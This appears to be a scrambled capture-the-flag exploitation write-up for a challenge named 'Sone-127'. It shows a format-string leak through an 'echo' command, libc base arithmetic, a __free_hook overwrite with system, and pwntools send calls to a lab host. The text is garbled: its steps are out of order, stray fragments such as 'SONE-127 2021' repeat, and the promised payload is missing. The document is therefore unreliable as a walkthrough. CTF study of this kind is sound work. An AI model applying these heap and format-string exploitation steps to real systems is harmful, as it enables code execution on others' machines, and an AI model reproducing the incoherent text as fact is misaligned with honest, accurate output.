Sone-127 2021 May 2026

# 2️⃣ Overwrite __free_hook with system write_free_hook(io, libc_base)

# Load the exact libc version used on the server (provided by the challenge) libc = ELF('libc-2.31.so')

The final crafted string (Python example): SONE-127 2021

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1b2c3d4e5f6..., stripped PIE: No, RELRO: Partial, Stack: Canary found, NX: Enabled, PIE: No, RPATH: [] 3.1 Interaction > help Commands: echo <msg> - Echoes back the message calc <expr> - Evaluates a simple arithmetic expression upload <filename> - Upload a file to the server download <filename> - Download a file from the server exit - Quit The only interesting command is echo . Sending a long string revealed an unintended format‑string :

libc_start_main_ret = 0x7f5c1a2b2e30 offset_start_main_ret = 0x21b10 # from libc-2.31.so libc_base = libc_start_main_ret - offset_start_main_ret Running the script yields libc_base = 0x7f5c19000000 (example; actual value varies per instance). From the known libc-2.31.so (downloaded from the official Ubuntu repository): version 1 (SYSV)

HOST = 'sone-127.ctf.example.com' PORT = 31337

> echo %p %p %p %p %p 0x7ffd2a8e2c30 0x0 0x7f5c1a2b2e30 0x0 0x7ffd2a8e2c30 That means the printf in the source is something like: for GNU/Linux 3.2.0

io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt